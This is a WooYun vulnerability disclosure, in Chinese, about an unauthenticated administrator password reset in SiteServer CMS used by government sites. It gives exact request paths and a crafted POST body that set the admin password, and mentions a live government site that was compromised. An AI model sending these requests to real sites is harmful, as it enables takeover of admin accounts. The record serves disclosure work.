漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-063223
漏洞标题:某政府网站大量使用的CMS直接修改管理员密码,无视密码提问,涉及众多ZF网站
相关厂商:cncert国家互联网应急中心
漏洞作者: 酱油甲
提交时间:2014-06-03 12:03
修复时间:2014-09-01 12:04
公开时间:2014-09-01 12:04
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-06-03: 细节已通知厂商并且等待厂商处理中
2014-06-08: 厂商已经确认,细节仅向厂商公开
2014-06-11: 细节向第三方安全合作伙伴开放
2014-08-02: 细节向核心白帽子及相关领域专家公开
2014-08-12: 细节向普通白帽子公开
2014-08-22: 细节向实习白帽子公开
2014-09-01: 细节向公众公开
简要描述:
某政府网站大量使用的CMS直接修改管理员密码,无需登陆,无视密码提问,涉及众多政府网站,官网最新版,以及某个ZF网站测试成功!
详细说明:
本来想给“百容千域软件技术开发有限责任公司”,看厂商一直忽略,就这么公开会对大量ZF站点有较大影响,不想被查水表……
就交由CNCERT转交吧!至于用户量,直接看官网ZF案例就知道了:http://www.siteserver.cn/case/54.html
这里首先要这样做:
随便访问一个页面,比如http://cms.demo.siteyun.cn/siteserver/login.aspx
用burp代理,之后数据包就在这个上面修改
1.要改密码,我们首先要有管理员的用户名,那就把上面的包改为
/siteserver/userRole/background_administrator.aspx
这里就是超级管理员的用户名了
--------------------------------------
2.然后我们获取下表单提交所需的__EVENTVALIDATION 和 __VIEWSTATE
/siteserver/userRole/modal_userPassword.aspx?IsAdmin=True&UserName=siteserver
这里的username就是管理员账户名
然后构造为如下内容,__EVENTVALIDATION 和 __VIEWSTATE来自上面那个数据包,记得url编码下:
--------------------------------------
3.在原本这个数据包上使用change request method,将get变为post,如下
POST地址中的username与之前一致:
/siteserver/userRole/modal_userPassword.aspx?IsAdmin=True&UserName=siteserver
内容为我们刚才构造的:
__EVENTTARGET=btnSubmit&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE1OTkwOTIyMjQPZBYCAg4PZBYCAgcPDxYCHgRUZXh0BQpzaXRlc2VydmVyZGRkipls%2FDTqNvbpG1kLvyDEv0bu4wY%3D&Password=123123&ConfirmPassword=123123&__EVENTVALIDATION=%2FwEWBALFupG9AQLCi9reAwLSxeCRDwLK0IHXARrXdbV3buSwdVedwI9%2BUfSrTiW2
点击提交,返回302:
然后我们去登录页面用密码123123登录,成功:
然后~~就进去了呗~~~
漏洞证明:
----------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------
------------------------------------------------------------------------------------
注意:老版本的位置不一样,比如:
老版本获取管理列表的页面是:
/siteserver/platform/background_administrator.aspx?module=cms&menuID=UserRole&isPlatform=True&title=123
获取表单的地址是:
/siteserver/usercenter/modal_userPassword.aspx?IsAdmin=True&UserName=admin
最终提交修改的地址是:
/siteserver/usercenter/modal_userPassword.aspx?IsAdmin=True&UserName=admin
不过内容是一样的:
然后就进了一个老版本的政府站(新版本在上面已经说明)
进了后台能做很多事,比如拿shell:
修复方案:
验证修改密码权限以及安全提问
版权声明:转载请注明来源 酱油甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2014-06-08 10:02
厂商回复:
对于较强认证前提的安全风险,CNVD未直接进行实例复现或本地复现,根据所述过程和原理进行认定。由CNVD尝试联系软件生产厂商处置。
最新状态:
暂无